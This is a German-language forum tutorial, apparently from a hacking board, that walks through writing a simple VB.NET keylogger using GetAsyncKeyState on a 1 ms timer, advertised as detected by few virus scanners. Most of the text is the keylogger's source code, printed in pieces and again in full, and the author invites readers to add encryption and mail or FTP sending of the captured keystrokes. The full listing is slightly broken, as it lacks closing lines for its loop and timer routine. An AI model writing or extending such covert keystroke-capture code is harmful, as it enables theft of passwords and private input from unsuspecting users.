Dieses Tutorial zeigt, wie man in vb.net einen einfachen, kleinen Keylogger coden kann, der von den wenigstens Virenscanner erkannt wird.
Das Tutorial richtet sich an Leute, die schon ein wenig Erfahrung mit vb.net haben. Ich werde daher nicht auf Einzelheiten, sondern nur die reine Funktionsweise eingehen.
In dem oberen Codeabschnnit wird als erstes die Variable result als Integer deklariert, die später für den Schleifendurchlauf der Tastabfrage benötigt wird.Code:Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Enabled = True End Sub ...
Die Funktion "GetAsyncKeyState()" stellt die Systemweite Tastenabfrage zur Verfügung. Wichtig hierbei ist der Übergabewert "vkey as Integer" und das ganze als "Short". Nur so funktioniert das ganze auch unter Vista und Windows 7!
Im Form1_Load Ereignis wird der Timer gestartet. Nach Ablauf der Intervalzeit, wird der Code in dem Timer_Tick Eriegnis ausgeführt.
Das Timer_Tick Ereignis löst also den jeweiligen Code nach dem angegeben Interval aus, sprich nach 1ms. Somit wird also durchgehend auf eine Tasteneingabe geprüft.Code:... Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 6 To 255 result = 0 result = GetAsyncKeyState(i) If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then If result = -32767 Then TextBox1.Text = TextBox1.Text + UCase((Chr(i))) End If Else If result = -32767 Then TextBox1.Text = TextBox1.Text + LCase((Chr(i))) End If End If Next i End Sub
Die Schleife durchläuft nun alle dem System bekannten Standardtasten. Es wird von 6 bis 255 gezählt und nicht von 1 bis 255, um die Maustasten nicht in die Abfrage mit einzubeziehen.
Result wird nun auf "0" gesetzt und anschließend auf GetAsyncKeyState(i).
Nun wird mit Hilfe von If-Abfragen geprüft, ob es sich bei der Eingabe um einen dem System bekannten Key handelt. Dies erfolgt mit der ZuweisungIst das der Fall wird der Key der Textbox1 angefügt.Code:If result = -32767 then..."Chr()" ist hierbei eine Funktion, an die sich ein CharCode als Integer übergeben lässt. In diesem Falle natürlich "i".Code:TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
Mitwird geprüft ob zum Zeitpunkt der Eingabe Capslock oder Shift aktiviert ist um so zwischen Groß- und Kleinschreibung zu differenzieren.Code:If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then If result = -32767 Then TextBox1.Text = TextBox1.Text + UCase((Chr(i))) End If Else If result = -32767 Then TextBox1.Text = TextBox1.Text + LCase((Chr(i))) End If End If
HIER NOCHMAL DER CODE ALS GANZES:
So, ich hoffe das konnte dem ein oder anderem weiter helfen. Der Keylogger ist so wie er ist simpel gehalten, ohne jegliche Verschlüsselung, Mail oder FTP Support, weitere Abfragen von Sonderzeichen etc... Allerdings lässt sich darauf aufbauen, wenn man ein wenig Spaß an der Sache hat...Code:Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Enabled = True End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i = 6 To 255 result = 0 result = GetAsyncKeyState(i) If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then If result = -32767 Then TextBox1.Text = TextBox1.Text + UCase((Chr(i))) End If Else If result = -32767 Then TextBox1.Text = TextBox1.Text + LCase((Chr(i))) End If End If End Class
Würde mich über Feedback freuen!



Zitieren
